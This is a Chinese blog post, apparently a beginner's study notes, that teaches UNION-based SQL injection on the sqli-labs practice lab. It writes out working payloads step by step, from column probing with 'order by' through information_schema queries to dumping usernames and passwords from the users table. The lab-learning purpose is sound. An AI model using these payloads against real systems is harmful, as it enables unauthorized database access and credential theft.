首页 > 数据库 >sql注入之联合查询的学习记录

sql注入之联合查询的学习记录

时间:2024-06-18 12:29:39浏览次数:17  
标签:记录 查询 sql table security 注入 id select schema

我本人也是一个小白有什么错误的地方希望大佬可以指出,有什么疑问也可以留言,希望可以互相交流学习一下。 

sql注入经典之联合注入

关于联合注入是sql注入中最经典的也是大部分初学ctf的师傅们最开始接触的注入方式

测试注入点

首先在注入的时候都需要先测试一下注入点

?id=1' order by 3--+
这是在注入中比较常见的一种测试方式

在sqli-labs第一关进行测试

如果是

?id=1' order by 2--+

也是正常的回显正确的内容。

如果换成4呢?

?id=1' order by 4--+

翻译过来就是“order子句”中的未知列“4”

我们可以发现报错了不存在第4列,那么在这种注入的测试方式中我们就测出有三个注入点。

今后的sql注入题基本上会使用order by语句进行测试,因为它比较简单就可以检测出有多少注入点。

然后还是存在另外几种测试方式我在这里再介绍一种:

?id=-1' union select 1,2,3--+

正常会回显,但是使用

?id=0' union select 1,2,3,4--+

 就会报错这里我就不给出图了。

知道了我们有三个注入点之后我们就可以正常的进行sql注入了

第一步:爆库

观察仔细的师傅就会发现上面我们给出使用union select和order by回显的内容是不同的,那是因为在union中会直接给出注入点在哪里,回显了2和3就证明可以在2和3的点进行注入。

?id=-1' union select 1,database(),3--+

同样的在3中进行注入一样可以得到这种结果

那么我们就已经爆出了数据库名是security

第二步:读取数据库中的表

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+

可以看到爆出了emails,referers,uagents,users这些表

在这条语句中我来给师傅们进行一个简单的讲解:

group_concat函数mysql中非常实用的函数,它可以将同一个分组下的行拼接在一起

group_concat函数详解想要了解的更加清楚的师傅可以去看看

那可能有师傅就会疑惑了既然它只是一个拼接的作用那么去掉内容是不是不会有任何改变呢?

显示了一个错误:子查询返回1行以上

所以虽然group_concat函数只是一个拼接的作用但是在实际的注入中是不能去除的。

information_schema.tables在这里面存储了所有的表名。

这个涉及到了information_schema它提供了访问数据库元数据的方式information_schema师傅们感兴趣一样可以深入去了解一下

table_schema代表的是数据库名table_schema= 'security'代表你要查询的表的上一级的数据库名是security。

(select group_concat(table_name) from information_schema.tables where table_schema= 'security')

全部在一起的语义我的理解是:

选择从security数据库(table_schema= 'security')中的所有表名(table_name)

第三步:查询表中的列

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

在这里我们选择查询一个users表的所有列以达到我们获取个人敏感数据的目的

语句的涵义就是:选择查询security数据库中的users表中的列的内容

第四步:查询列数据得到我们所需要的信息

?id=-1' union select 1,group_concat(username ,id , password),3 from security.users--+

注意在最后的查询的时候from security.users一定要写在整个查询语句的末端

 

总结

可以看到我们得到了所有的数据也就完成了一次成功的sql注入

最后我在这里谈谈我当初在学这个sql注入时遇到的一些疑惑:

在查询时

?id=1' order by 3--+

在这当中的1可不可以是其他的数字呢?

当然是可以的,但是只会有报错的回显而。

 不为1时正常情况下:

不为1时不正常情况下:

可以看到比起使用1在检测有几个注入点时的效果没有任何变化,那么没有任何关系无论数字是多少。

 但是因为在用1时是一个固定的回显情况除非报错不会有任何改变那么在进行联合查询时是不能使用1的。

可以看到使用1是不会爆出我们的数据库的。

标签:记录,查询,sql,table,security,注入,id,select,schema
From: https://blog.csdn.net/dalaojiaoweb/article/details/139738682

相关文章

  • PostgreSQL查看表的大小
    PostgreSQL查看表的大小在PostgreSQL中,可以使用一系列函数和系统视图来查看表的大小。这些工具可以帮助您获取表的基本存储大小、包括索引和TOAST的总大小等信息。下列方法演示了如何获取这些信息。使用函数查看表的大小pg_relation_size():返回表的基础存储大小(不包......
  • mysql数据库名带下划线等特殊字符时,分权限报错
    原文链接:mysql数据库名带下划线分权限报错_mob64ca12f24f3a的技术博客_51CTO博客 MySQL数据库名带下划线分权限报错解析在使用MySQL进行数据库操作时,我们经常会遇到数据库名带下划线导致权限报错的情况。这是因为MySQL对于数据库名中的下划线有特殊的处理机制,容易导致权限控制......
  • MySQL入门学习.子查询.IN
        IN子查询是MySQL中一种常见的子查询类型,用于在查询中确定一个值是否在另一个查询的结果集中。IN子查询的特点是简洁明了,它可以在一个查询中方便地检查一个值是否在一组值中,非常适用于需要进行条件验证或关联查询的情况。   在MySQL中,有以下几种常见的......
  • Ragas实践问题记录1 ValueError: Directory ./arxiv-papers/ does not exist.
    纯小白,记录一下在尝试ragas时遇到的一些问题。尝试官方文档“CompareLLMsusingRagasEvaluations”时,在Createsynthetictestdata步骤复制github中的代码时,遇到了以下问题:ragas官方文档查看请点此解决方法是前往openxlab下载数据集,再使用本地的路径替换掉报错的地方......
  • MySQL入门学习-子查询.EXISTS
        子查询EXISTS是MySQL中的一种子查询类型,用于检查子查询结果集是否为空。如果子查询结果集不为空,则EXISTS子查询返回TRUE;否则,返回FALSE。    子查询EXISTS的特点是它只关心子查询结果集是否为空,而不关心结果集中的具体内容。这使得EXISTS子查......
  • Ragas实践问题记录2 AttributeError: ‘TestsetGenerator‘ object has no attribute
    报错问题依然是在尝试官方文档“CompareLLMsusingRagasEvaluations”的“Createsynthetictestdata”步骤发生报错。官方文档以及文档中代码如下:Ragas:CompareLLMsusingRagasEvaluations官方文档中的代码:importosfromllama_indeximportdownload_loader,Simp......
  • 项目运维时,某用户通过RDP远程桌面连接服务器...任务管理器显示用户状态断开连接!记录运
    目录问题出现解决方式测试参考  今天处理项目运维问题,发现服务器任务管理器出现用户状态断开连接......问题出现项目运维时,某用户通过rdp远程桌面连接Windowsserver服务器时,出现服务器发布的进度计划无法执行,打开服务器任务管理界面出现用户状态断开连接标志,如下......
  • MySQL 情节:SQL 语句的表演
    本文由ChatMoney团队出品第一幕:解析与优化-“翻译官与谋士”SQL解析器是第一个上场的角色,任务就是把SQL请求翻译成MySQL能听懂的语言。就像你点餐时,服务员得听懂你到底要什么菜。不然你说“我要一盘炒青菜”,结果服务员听成了“我要一盘草皮”,那谁也吃不下去啊!接下来......
  • MySQL 的故事:一场 SQL 语句的戏剧演绎
    本文由ChatMoney团队出品第一幕:解析与优化-“翻译官与谋士”SQL解析器是第一个上场的角色,任务就是把SQL请求翻译成MySQL能听懂的语言。就像你点餐时,服务员得听懂你到底要什么菜。不然你说“我要一盘炒青菜”,结果服务员听成了“我要一盘草皮”,那谁也吃不下去啊!接下来......
  • Windows11[虚拟机] Kettle 通过SSH隧道 连接远程[Mac] Mysql数据库
    Kettle无法直接连接使用SSH通道的MySQL,需要通过SSH隧道(推荐),具体操作如下所示:一、搭建XshellSSH隧道转发1、点击“连接”借助Xshell7,首先创建会话mac(名字随便写),右键-->属性,在弹出窗口中填写名称(随便写),填写主机:SSH隧道的ip地 点击“添加”按钮出现如下,填写源主机:localh......